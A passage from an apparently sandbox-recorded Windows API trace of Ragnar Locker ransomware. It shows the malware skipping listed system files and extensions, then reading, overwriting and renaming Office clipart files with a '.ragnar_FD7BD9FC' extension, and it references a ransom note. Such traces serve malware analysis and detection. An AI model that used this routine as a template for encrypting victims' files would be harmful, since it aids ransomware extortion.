lpNewFilePointer=0x0) returned 1 [0082.205] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43fe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x43fe, lpOverlapped=0x0) returned 1 [0082.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.206] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43fe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x43fe, lpOverlapped=0x0) returned 1 [0082.206] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.206] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.207] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.207] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.207] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.207] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.207] GetProcessHeap () returned 0x580000 [0082.207] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.207] CloseHandle (hObject=0xf4) returned 1 [0082.207] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" [0082.207] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.ragnar_FD7BD9FC" [0082.207] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0082.208] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.208] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00543_.WMF" | out: lpString1="FD00543_.WMF") returned="FD00543_.WMF" [0082.208] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned=".WMF" [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="autorun.inf") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="boot.ini") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="bootfont.bin") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="bootsect.bak") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="bootmgr") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="bootmgr.efi") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="desktop.ini") returned 1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="iconcache.db") returned -1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="ntldr") returned -1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="ntuser.dat") returned -1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="ntuser.ini") returned -1 [0082.208] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="thumbs.db") returned -1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.208] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0082.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.209] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1472) returned 1 [0082.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.209] GetProcessHeap () returned 0x580000 [0082.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.209] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.210] VirtualAlloc (lpAddress=0x0, dwSize=0x5c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.211] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5c0, lpOverlapped=0x0) returned 1 [0082.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.211] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5c0, lpOverlapped=0x0) returned 1 [0082.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.211] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.211] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.211] GetProcessHeap () returned 0x580000 [0082.212] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.212] CloseHandle (hObject=0xf4) returned 1 [0082.212] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" [0082.212] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.ragnar_FD7BD9FC" [0082.212] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.212] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0082.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.212] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00544_.WMF" | out: lpString1="FD00544_.WMF") returned="FD00544_.WMF" [0082.212] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned=".WMF" [0082.212] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.212] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="autorun.inf") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="boot.ini") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="bootfont.bin") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="bootsect.bak") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="bootmgr") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="bootmgr.efi") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="desktop.ini") returned 1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="iconcache.db") returned -1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="ntldr") returned -1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="ntuser.dat") returned -1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="ntuser.ini") returned -1 [0082.213] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="thumbs.db") returned -1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.213] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0082.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.214] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5260) returned 1 [0082.214] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1483, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.214] GetProcessHeap () returned 0x580000 [0082.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.214] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.215] VirtualAlloc (lpAddress=0x0, dwSize=0x148c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.216] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x148c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x148c, lpOverlapped=0x0) returned 1 [0082.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.217] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x148c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.217] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x148c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x148c, lpOverlapped=0x0) returned 1 [0082.217] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x148c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.217] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x148c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.217] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.217] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.217] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.217] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.217] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.217] GetProcessHeap () returned 0x580000 [0082.217] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.217] CloseHandle (hObject=0xf4) returned 1 [0082.218] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" [0082.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.ragnar_FD7BD9FC" [0082.218] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.218] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0082.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.218] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00564_.WMF" | out: lpString1="FD00564_.WMF") returned="FD00564_.WMF" [0082.218] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned=".WMF" [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="autorun.inf") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="boot.ini") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="bootfont.bin") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="bootsect.bak") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="bootmgr") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="bootmgr.efi") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="desktop.ini") returned 1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="iconcache.db") returned -1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="ntldr") returned -1 [0082.218] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="ntuser.dat") returned -1 [0082.219] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.219] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="ntuser.ini") returned -1 [0082.219] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="thumbs.db") returned -1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.219] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0082.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.219] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=896) returned 1 [0082.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x377, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.219] GetProcessHeap () returned 0x580000 [0082.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.219] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.221] VirtualAlloc (lpAddress=0x0, dwSize=0x380, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.221] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x380, lpOverlapped=0x0) returned 1 [0082.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.221] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x380, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.222] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x380, 